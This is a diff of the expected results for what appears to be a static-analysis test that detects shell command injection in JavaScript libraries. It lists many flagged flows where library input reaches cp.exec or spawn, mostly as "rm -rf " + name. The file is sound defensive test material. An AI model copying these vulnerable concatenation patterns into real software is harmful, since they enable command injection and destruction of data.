+| lib/subLib/index.js:8:10:8:25 | "rm -rf " + name | lib/subLib/index.js:7:32:7:35 | name | lib/subLib/index.js:8:22:8:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/subLib/index.js:7:32:7:35 | name | library input | lib/subLib/index.js:8:2:8:26 | cp.exec ... + name) | shell command |
+| lib/subLib/index.js:14:22:14:24 | arr | lib/subLib/index.js:13:44:13:46 | arr | lib/subLib/index.js:14:22:14:24 | arr | This shell argument which depends on $@ is later used in a $@. | lib/subLib/index.js:13:44:13:46 | arr | library input | lib/subLib/index.js:14:5:14:40 | cp.spaw ...  true}) | shell command |
 edges
 | lib/isImported.js:5:49:5:52 | name | lib/isImported.js:6:22:6:25 | name | provenance |  |
 | lib/lib2.js:3:28:3:31 | name | lib/lib2.js:4:22:4:25 | name | provenance |  |
 | lib/lib2.js:7:32:7:35 | name | lib/lib2.js:8:22:8:25 | name | provenance |  |
-| lib/lib.js:3:28:3:31 | name | lib/lib.js:4:22:4:25 | name | provenance |  |
+| lib/lib.js:3:33:3:36 | name | lib/lib.js:4:22:4:25 | name | provenance |  |
 | lib/lib.js:10:32:10:35 | name | lib/lib.js:11:22:11:25 | name | provenance |  |
 | lib/lib.js:14:36:14:39 | name | lib/lib.js:15:22:15:25 | name | provenance |  |
 | lib/lib.js:19:34:19:37 | name | lib/lib.js:20:22:20:25 | name | provenance |  |
@@ -100,7 +207,7 @@ edges
 | lib/lib.js:436:19:436:22 | last | lib/lib.js:436:10:436:12 | [post update] arr [ArrayElement] | provenance |  |
 | lib/lib.js:441:39:441:42 | name | lib/lib.js:442:24:442:27 | name | provenance |  |
 | lib/lib.js:446:20:446:23 | name | lib/lib.js:447:25:447:28 | name | provenance |  |
-| lib/lib.js:477:33:477:38 | config | lib/lib.js:478:27:478:32 | config | provenance |  |
+| lib/lib.js:477:39:477:44 | config | lib/lib.js:478:27:478:32 | config | provenance |  |
 | lib/lib.js:478:27:478:32 | config | lib/lib.js:478:27:478:46 | config.installedPath | provenance |  |
 | lib/lib.js:482:40:482:43 | name | lib/lib.js:483:30:483:33 | name | provenance |  |
 | lib/lib.js:498:45:498:48 | name | lib/lib.js:499:31:499:34 | name | provenance |  |
@@ -149,7 +256,7 @@ nodes
 | lib/lib2.js:4:22:4:25 | name | semmle.label | name |
 | lib/lib2.js:7:32:7:35 | name | semmle.label | name |
 | lib/lib2.js:8:22:8:25 | name | semmle.label | name |
-| lib/lib.js:3:28:3:31 | name | semmle.label | name |
+| lib/lib.js:3:33:3:36 | name | semmle.label | name |
 | lib/lib.js:4:22:4:25 | name | semmle.label | name |
 | lib/lib.js:10:32:10:35 | name | semmle.label | name |
 | lib/lib.js:11:22:11:25 | name | semmle.label | name |
@@ -285,7 +392,7 @@ nodes
 | lib/lib.js:442:24:442:27 | name | semmle.label | name |
 | lib/lib.js:446:20:446:23 | name | semmle.label | name |
 | lib/lib.js:447:25:447:28 | name | semmle.label | name |
-| lib/lib.js:477:33:477:38 | config | semmle.label | config |
+| lib/lib.js:477:39:477:44 | config | semmle.label | config |
 | lib/lib.js:478:27:478:32 | config | semmle.label | config |
 | lib/lib.js:478:27:478:46 | config.installedPath | semmle.label | config.installedPath |
 | lib/lib.js:482:40:482:43 | name | semmle.label | name |
@@ -348,110 +455,3 @@ subpaths
 | lib/lib.js:251:27:251:30 | name | lib/lib.js:239:28:239:28 | s | lib/lib.js:245:9:245:9 | s | lib/lib.js:251:16:251:31 | cleanInput(name) |
 | lib/lib.js:340:25:340:25 | n | lib/lib.js:329:13:329:13 | x | lib/lib.js:330:9:330:9 | x | lib/lib.js:340:22:340:26 | id(n) |
 | lib/lib.js:428:28:428:57 | (name ? ... ) + '-' | lib/lib.js:431:23:431:26 | last | lib/lib.js:437:9:437:11 | arr [ArrayElement] | lib/lib.js:428:14:428:58 | build(" ...  + '-') |
-#select
-| lib/isImported.js:6:10:6:25 | "rm -rf " + name | lib/isImported.js:5:49:5:52 | name | lib/isImported.js:6:22:6:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/isImported.js:5:49:5:52 | name | library input | lib/isImported.js:6:2:6:26 | cp.exec ... + name) | shell command |
-| lib/lib2.js:4:10:4:25 | "rm -rf " + name | lib/lib2.js:3:28:3:31 | name | lib/lib2.js:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib2.js:3:28:3:31 | name | library input | lib/lib2.js:4:2:4:26 | cp.exec ... + name) | shell command |
-| lib/lib2.js:8:10:8:25 | "rm -rf " + name | lib/lib2.js:7:32:7:35 | name | lib/lib2.js:8:22:8:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib2.js:7:32:7:35 | name | library input | lib/lib2.js:8:2:8:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:4:10:4:25 | "rm -rf " + name | lib/lib.js:3:28:3:31 | name | lib/lib.js:4:22:4:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:3:28:3:31 | name | library input | lib/lib.js:4:2:4:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:11:10:11:25 | "rm -rf " + name | lib/lib.js:10:32:10:35 | name | lib/lib.js:11:22:11:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:10:32:10:35 | name | library input | lib/lib.js:11:2:11:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:15:10:15:25 | "rm -rf " + name | lib/lib.js:14:36:14:39 | name | lib/lib.js:15:22:15:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:14:36:14:39 | name | library input | lib/lib.js:15:2:15:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:20:10:20:25 | "rm -rf " + name | lib/lib.js:19:34:19:37 | name | lib/lib.js:20:22:20:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:19:34:19:37 | name | library input | lib/lib.js:20:2:20:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:27:10:27:25 | "rm -rf " + name | lib/lib.js:26:35:26:38 | name | lib/lib.js:27:22:27:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:26:35:26:38 | name | library input | lib/lib.js:27:2:27:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:35:11:35:26 | "rm -rf " + name | lib/lib.js:34:14:34:17 | name | lib/lib.js:35:23:35:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:34:14:34:17 | name | library input | lib/lib.js:35:3:35:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:38:11:38:26 | "rm -rf " + name | lib/lib.js:37:13:37:16 | name | lib/lib.js:38:23:38:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:37:13:37:16 | name | library input | lib/lib.js:38:3:38:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:41:11:41:26 | "rm -rf " + name | lib/lib.js:40:6:40:9 | name | lib/lib.js:41:23:41:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:40:6:40:9 | name | library input | lib/lib.js:41:3:41:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:50:35:50:50 | "rm -rf " + name | lib/lib.js:49:31:49:34 | name | lib/lib.js:50:47:50:50 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:49:31:49:34 | name | library input | lib/lib.js:50:2:50:51 | require ... + name) | shell command |
-| lib/lib.js:54:13:54:28 | "rm -rf " + name | lib/lib.js:53:33:53:36 | name | lib/lib.js:54:25:54:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:53:33:53:36 | name | library input | lib/lib.js:55:2:55:14 | cp.exec(cmd1) | shell command |
-| lib/lib.js:57:13:57:28 | "rm -rf " + name | lib/lib.js:53:33:53:36 | name | lib/lib.js:57:25:57:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:53:33:53:36 | name | library input | lib/lib.js:59:3:59:14 | cp.exec(cmd) | shell command |
-| lib/lib.js:65:10:65:25 | "rm -rf " + name | lib/lib.js:64:41:64:44 | name | lib/lib.js:65:22:65:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:64:41:64:44 | name | library input | lib/lib.js:65:2:65:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:69:10:69:47 | "for fo ... la end" | lib/lib.js:64:41:64:44 | name | lib/lib.js:69:27:69:30 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:64:41:64:44 | name | library input | lib/lib.js:69:2:69:48 | cp.exec ... a end") | shell command |
-| lib/lib.js:71:10:71:31 | "cat /f ...  + name | lib/lib.js:64:41:64:44 | name | lib/lib.js:71:28:71:31 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:64:41:64:44 | name | library input | lib/lib.js:71:2:71:32 | cp.exec ... + name) | shell command |
-| lib/lib.js:73:10:73:31 | "cat \\" ...  + "\\"" | lib/lib.js:64:41:64:44 | name | lib/lib.js:73:21:73:24 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:64:41:64:44 | name | library input | lib/lib.js:73:2:73:32 | cp.exec ... + "\\"") | shell command |
-| lib/lib.js:75:10:75:29 | "cat '" + name + "'" | lib/lib.js:64:41:64:44 | name | lib/lib.js:75:20:75:23 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:64:41:64:44 | name | library input | lib/lib.js:75:2:75:30 | cp.exec ...  + "'") | shell command |
-| lib/lib.js:77:10:77:37 | "cat '/ ... e + "'" | lib/lib.js:64:41:64:44 | name | lib/lib.js:77:28:77:31 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:64:41:64:44 | name | library input | lib/lib.js:77:2:77:38 | cp.exec ...  + "'") | shell command |
-| lib/lib.js:83:10:83:25 | "rm -rf " + name | lib/lib.js:82:35:82:38 | name | lib/lib.js:83:22:83:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:82:35:82:38 | name | library input | lib/lib.js:83:2:83:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:86:13:86:16 | name | lib/lib.js:82:35:82:38 | name | lib/lib.js:86:13:86:16 | name | This array element which depends on $@ is later used in a $@. | lib/lib.js:82:35:82:38 | name | library input | lib/lib.js:87:2:87:25 | cp.exec ... n(" ")) | shell command |
-| lib/lib.js:89:21:89:24 | name | lib/lib.js:82:35:82:38 | name | lib/lib.js:89:21:89:24 | name | This array element which depends on $@ is later used in a $@. | lib/lib.js:82:35:82:38 | name | library input | lib/lib.js:89:2:89:36 | cp.exec ... n(" ")) | shell command |
-| lib/lib.js:91:21:91:38 | "\\"" + name + "\\"" | lib/lib.js:82:35:82:38 | name | lib/lib.js:91:21:91:38 | "\\"" + name + "\\"" | This array element which depends on $@ is later used in a $@. | lib/lib.js:82:35:82:38 | name | library input | lib/lib.js:91:2:91:50 | cp.exec ... n(" ")) | shell command |
-| lib/lib.js:98:35:98:38 | name | lib/lib.js:97:35:97:38 | name | lib/lib.js:98:35:98:38 | name | This formatted string which depends on $@ is later used in a $@. | lib/lib.js:97:35:97:38 | name | library input | lib/lib.js:98:2:98:40 | cp.exec ...  name)) | shell command |
-| lib/lib.js:100:37:100:40 | name | lib/lib.js:97:35:97:38 | name | lib/lib.js:100:37:100:40 | name | This formatted string which depends on $@ is later used in a $@. | lib/lib.js:97:35:97:38 | name | library input | lib/lib.js:100:2:100:42 | cp.exec ...  name)) | shell command |
-| lib/lib.js:102:46:102:49 | name | lib/lib.js:97:35:97:38 | name | lib/lib.js:102:46:102:49 | name | This formatted string which depends on $@ is later used in a $@. | lib/lib.js:97:35:97:38 | name | library input | lib/lib.js:102:2:102:51 | cp.exec ...  name)) | shell command |
-| lib/lib.js:108:41:108:44 | name | lib/lib.js:97:35:97:38 | name | lib/lib.js:108:41:108:44 | name | This formatted string which depends on $@ is later used in a $@. | lib/lib.js:97:35:97:38 | name | library input | lib/lib.js:108:2:108:46 | cp.exec ...  name)) | shell command |
-| lib/lib.js:112:10:112:25 | "rm -rf " + name | lib/lib.js:111:34:111:37 | name | lib/lib.js:112:22:112:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:111:34:111:37 | name | library input | lib/lib.js:112:2:112:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:121:10:121:25 | "rm -rf " + name | lib/lib.js:120:33:120:36 | name | lib/lib.js:121:22:121:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:120:33:120:36 | name | library input | lib/lib.js:121:2:121:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:131:11:131:26 | "rm -rf " + name | lib/lib.js:130:6:130:9 | name | lib/lib.js:131:23:131:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:130:6:130:9 | name | library input | lib/lib.js:131:3:131:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:149:12:149:27 | "rm -rf " + name | lib/lib.js:148:37:148:40 | name | lib/lib.js:149:24:149:27 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:148:37:148:40 | name | library input | lib/lib.js:152:2:152:23 | cp.spaw ... gs, cb) | shell command |
-| lib/lib.js:161:13:161:28 | "rm -rf " + name | lib/lib.js:155:38:155:41 | name | lib/lib.js:161:25:161:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:155:38:155:41 | name | library input | lib/lib.js:163:2:167:2 | cp.spaw ... t' }\\n\\t) | shell command |
-| lib/lib.js:173:10:173:23 | "fo \| " + name | lib/lib.js:170:41:170:44 | name | lib/lib.js:173:20:173:23 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:170:41:170:44 | name | library input | lib/lib.js:173:2:173:24 | cp.exec ... + name) | shell command |
-| lib/lib.js:181:15:181:52 | "'" + n ... ) + "'" | lib/lib.js:177:38:177:41 | name | lib/lib.js:181:21:181:46 | name.re ... "'\\''") | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:177:38:177:41 | name | library input | lib/lib.js:182:2:182:28 | cp.exec ... broken) | shell command |
-| lib/lib.js:182:10:182:27 | "rm -rf " + broken | lib/lib.js:177:38:177:41 | name | lib/lib.js:182:22:182:27 | broken | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:177:38:177:41 | name | library input | lib/lib.js:182:2:182:28 | cp.exec ... broken) | shell command |
-| lib/lib.js:187:10:187:25 | "rm -rf " + name | lib/lib.js:186:34:186:37 | name | lib/lib.js:187:22:187:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:186:34:186:37 | name | library input | lib/lib.js:187:2:187:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:190:11:190:26 | "rm -rf " + name | lib/lib.js:186:34:186:37 | name | lib/lib.js:190:23:190:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:186:34:186:37 | name | library input | lib/lib.js:190:3:190:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:197:10:197:25 | "rm -rf " + name | lib/lib.js:196:45:196:48 | name | lib/lib.js:197:22:197:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:196:45:196:48 | name | library input | lib/lib.js:197:2:197:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:200:11:200:26 | "rm -rf " + name | lib/lib.js:196:45:196:48 | name | lib/lib.js:200:23:200:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:196:45:196:48 | name | library input | lib/lib.js:200:3:200:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:207:10:207:25 | "rm -rf " + name | lib/lib.js:206:45:206:48 | name | lib/lib.js:207:22:207:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:206:45:206:48 | name | library input | lib/lib.js:207:2:207:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:212:11:212:26 | "rm -rf " + name | lib/lib.js:206:45:206:48 | name | lib/lib.js:212:23:212:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:206:45:206:48 | name | library input | lib/lib.js:212:3:212:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:217:10:217:25 | "rm -rf " + name | lib/lib.js:216:39:216:42 | name | lib/lib.js:217:22:217:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:216:39:216:42 | name | library input | lib/lib.js:217:2:217:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:220:11:220:26 | "rm -rf " + name | lib/lib.js:216:39:216:42 | name | lib/lib.js:220:23:220:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:216:39:216:42 | name | library input | lib/lib.js:220:3:220:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:224:10:224:25 | "rm -rf " + name | lib/lib.js:216:39:216:42 | name | lib/lib.js:224:22:224:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:216:39:216:42 | name | library input | lib/lib.js:224:2:224:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:228:10:228:25 | "rm -rf " + name | lib/lib.js:227:39:227:42 | name | lib/lib.js:228:22:228:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:227:39:227:42 | name | library input | lib/lib.js:228:2:228:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:236:10:236:25 | "rm -rf " + name | lib/lib.js:227:39:227:42 | name | lib/lib.js:236:22:236:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:227:39:227:42 | name | library input | lib/lib.js:236:2:236:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:249:10:249:25 | "rm -rf " + name | lib/lib.js:248:42:248:45 | name | lib/lib.js:249:22:249:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:248:42:248:45 | name | library input | lib/lib.js:249:2:249:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:253:10:253:28 | "rm -rf " + cleaned | lib/lib.js:248:42:248:45 | name | lib/lib.js:253:22:253:28 | cleaned | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:248:42:248:45 | name | library input | lib/lib.js:253:2:253:29 | cp.exec ... leaned) | shell command |
-| lib/lib.js:258:10:258:25 | "rm -rf " + name | lib/lib.js:257:35:257:38 | name | lib/lib.js:258:22:258:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:257:35:257:38 | name | library input | lib/lib.js:258:2:258:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:261:11:261:33 | "rm -rf ...  + name | lib/lib.js:257:35:257:38 | name | lib/lib.js:261:30:261:33 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:257:35:257:38 | name | library input | lib/lib.js:261:3:261:34 | cp.exec ... + name) | shell command |
-| lib/lib.js:268:10:268:32 | "rm -rf ... version | lib/lib.js:267:46:267:48 | obj | lib/lib.js:268:22:268:32 | obj.version | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:267:46:267:48 | obj | library input | lib/lib.js:268:2:268:33 | cp.exec ... ersion) | shell command |
-| lib/lib.js:277:11:277:30 | "rm -rf " + opts.bla | lib/lib.js:276:8:276:11 | opts | lib/lib.js:277:23:277:30 | opts.bla | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:276:8:276:11 | opts | library input | lib/lib.js:277:3:277:31 | cp.exec ... ts.bla) | shell command |
-| lib/lib.js:281:11:281:35 | "rm -rf ... pts.bla | lib/lib.js:276:8:276:11 | opts | lib/lib.js:281:23:281:35 | this.opts.bla | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:276:8:276:11 | opts | library input | lib/lib.js:281:3:281:36 | cp.exec ... ts.bla) | shell command |
-| lib/lib.js:308:11:308:26 | "rm -rf " + name | lib/lib.js:307:39:307:42 | name | lib/lib.js:308:23:308:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:307:39:307:42 | name | library input | lib/lib.js:308:3:308:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:315:10:315:25 | "rm -rf " + name | lib/lib.js:314:40:314:43 | name | lib/lib.js:315:22:315:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:314:40:314:43 | name | library input | lib/lib.js:315:2:315:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:320:11:320:26 | "rm -rf " + name | lib/lib.js:314:40:314:43 | name | lib/lib.js:320:23:320:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:314:40:314:43 | name | library input | lib/lib.js:320:3:320:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:325:12:325:51 | "MyWind ... " + arg | lib/lib.js:324:40:324:42 | arg | lib/lib.js:325:49:325:51 | arg | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:324:40:324:42 | arg | library input | lib/lib.js:326:2:326:13 | cp.exec(cmd) | shell command |
-| lib/lib.js:340:10:340:26 | "rm -rf " + id(n) | lib/lib.js:339:39:339:39 | n | lib/lib.js:340:22:340:26 | id(n) | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:339:39:339:39 | n | library input | lib/lib.js:340:2:340:27 | cp.exec ...  id(n)) | shell command |
-| lib/lib.js:351:10:351:27 | "rm -rf " + unsafe | lib/lib.js:349:29:349:34 | unsafe | lib/lib.js:351:22:351:27 | unsafe | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:349:29:349:34 | unsafe | library input | lib/lib.js:351:2:351:28 | cp.exec ... unsafe) | shell command |
-| lib/lib.js:406:10:406:25 | "rm -rf " + name | lib/lib.js:405:39:405:42 | name | lib/lib.js:406:22:406:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:405:39:405:42 | name | library input | lib/lib.js:406:2:406:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:415:10:415:25 | "rm -rf " + name | lib/lib.js:414:40:414:43 | name | lib/lib.js:415:22:415:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:415:2:415:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:417:28:417:31 | name | lib/lib.js:414:40:414:43 | name | lib/lib.js:417:28:417:31 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:417:2:417:66 | cp.exec ...  => {}) | shell command |
-| lib/lib.js:418:25:418:28 | name | lib/lib.js:414:40:414:43 | name | lib/lib.js:418:25:418:28 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:418:2:418:45 | cp.spaw ...  true}) | shell command |
-| lib/lib.js:419:32:419:35 | name | lib/lib.js:414:40:414:43 | name | lib/lib.js:419:32:419:35 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:419:2:419:52 | cp.exec ...  true}) | shell command |
-| lib/lib.js:420:29:420:32 | name | lib/lib.js:414:40:414:43 | name | lib/lib.js:420:29:420:32 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:420:2:420:49 | cp.spaw ...  true}) | shell command |
-| lib/lib.js:424:24:424:27 | name | lib/lib.js:414:40:414:43 | name | lib/lib.js:424:24:424:27 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:424:2:424:40 | spawn(" ... WN_OPT) | shell command |
-| lib/lib.js:426:11:426:14 | name | lib/lib.js:414:40:414:43 | name | lib/lib.js:426:11:426:14 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:427:2:427:28 | spawn(" ... WN_OPT) | shell command |
-| lib/lib.js:427:14:427:16 | arr | lib/lib.js:414:40:414:43 | name | lib/lib.js:427:14:427:16 | arr | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:427:2:427:28 | spawn(" ... WN_OPT) | shell command |
-| lib/lib.js:428:14:428:58 | build(" ...  + '-') | lib/lib.js:414:40:414:43 | name | lib/lib.js:428:14:428:58 | build(" ...  + '-') | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:428:2:428:70 | spawn(" ... WN_OPT) | shell command |
-| lib/lib.js:436:19:436:22 | last | lib/lib.js:414:40:414:43 | name | lib/lib.js:436:19:436:22 | last | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:414:40:414:43 | name | library input | lib/lib.js:428:2:428:70 | spawn(" ... WN_OPT) | shell command |
-| lib/lib.js:442:12:442:27 | "rm -rf " + name | lib/lib.js:441:39:441:42 | name | lib/lib.js:442:24:442:27 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:441:39:441:42 | name | library input | lib/lib.js:442:2:442:28 | asyncEx ... + name) | shell command |
-| lib/lib.js:447:13:447:28 | "rm -rf " + name | lib/lib.js:446:20:446:23 | name | lib/lib.js:447:25:447:28 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:446:20:446:23 | name | library input | lib/lib.js:447:3:447:29 | asyncEx ... + name) | shell command |
-| lib/lib.js:478:27:478:46 | config.installedPath | lib/lib.js:477:33:477:38 | config | lib/lib.js:478:27:478:46 | config.installedPath | This path concatenation which depends on $@ is later used in a $@. | lib/lib.js:477:33:477:38 | config | library input | lib/lib.js:479:12:479:20 | exec(cmd) | shell command |
-| lib/lib.js:483:13:483:33 | ' my na ...  + name | lib/lib.js:482:40:482:43 | name | lib/lib.js:483:30:483:33 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:482:40:482:43 | name | library input | lib/lib.js:485:2:485:20 | cp.exec(cmd + args) | shell command |
-| lib/lib.js:499:19:499:34 | "rm -rf " + name | lib/lib.js:498:45:498:48 | name | lib/lib.js:499:31:499:34 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:498:45:498:48 | name | library input | lib/lib.js:499:3:499:35 | MyThing ... + name) | shell command |
-| lib/lib.js:510:10:510:25 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:510:22:510:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:510:2:510:26 | cp.exec ... + name) | shell command |
-| lib/lib.js:513:11:513:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:513:23:513:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:513:3:513:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:519:11:519:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:519:23:519:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:519:3:519:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:525:11:525:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:525:23:525:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:525:3:525:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:531:11:531:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:531:23:531:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:531:3:531:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:537:11:537:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:537:23:537:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:537:3:537:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:543:11:543:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:543:23:543:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:543:3:543:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:545:11:545:26 | "rm -rf " + name | lib/lib.js:509:39:509:42 | name | lib/lib.js:545:23:545:26 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:509:39:509:42 | name | library input | lib/lib.js:545:3:545:27 | cp.exec ... + name) | shell command |
-| lib/lib.js:552:23:552:26 | args | lib/lib.js:550:39:550:42 | name | lib/lib.js:552:23:552:26 | args | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:550:39:550:42 | name | library input | lib/lib.js:552:9:552:38 | cp.spaw ... wnOpts) | shell command |
-| lib/lib.js:555:33:555:36 | name | lib/lib.js:550:39:550:42 | name | lib/lib.js:555:33:555:36 | name | This shell argument which depends on $@ is later used in a $@. | lib/lib.js:550:39:550:42 | name | library input | lib/lib.js:552:9:552:38 | cp.spaw ... wnOpts) | shell command |
-| lib/lib.js:560:14:560:29 | "rm -rf " + name | lib/lib.js:558:41:558:44 | name | lib/lib.js:560:26:560:29 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:558:41:558:44 | name | library input | lib/lib.js:560:9:560:30 | exec("r ... + name) | shell command |
-| lib/lib.js:562:14:562:29 | "rm -rf " + name | lib/lib.js:558:41:558:44 | name | lib/lib.js:562:26:562:29 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:558:41:558:44 | name | library input | lib/lib.js:562:9:562:30 | exec("r ... + name) | shell command |
-| lib/lib.js:566:14:566:29 | "rm -rf " + name | lib/lib.js:558:41:558:44 | name | lib/lib.js:566:26:566:29 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:558:41:558:44 | name | library input | lib/lib.js:566:9:566:30 | exec("r ... + name) | shell command |
-| lib/lib.js:573:10:573:25 | "rm -rf " + name | lib/lib.js:572:41:572:44 | name | lib/lib.js:573:22:573:25 | name | This string concatenation which depends on $@ is later used in a $@. | lib/lib.js:572:41:572:44 | name | library input | lib/lib.js:573:2:573:26 | cp.exec ... + name) | shell command |
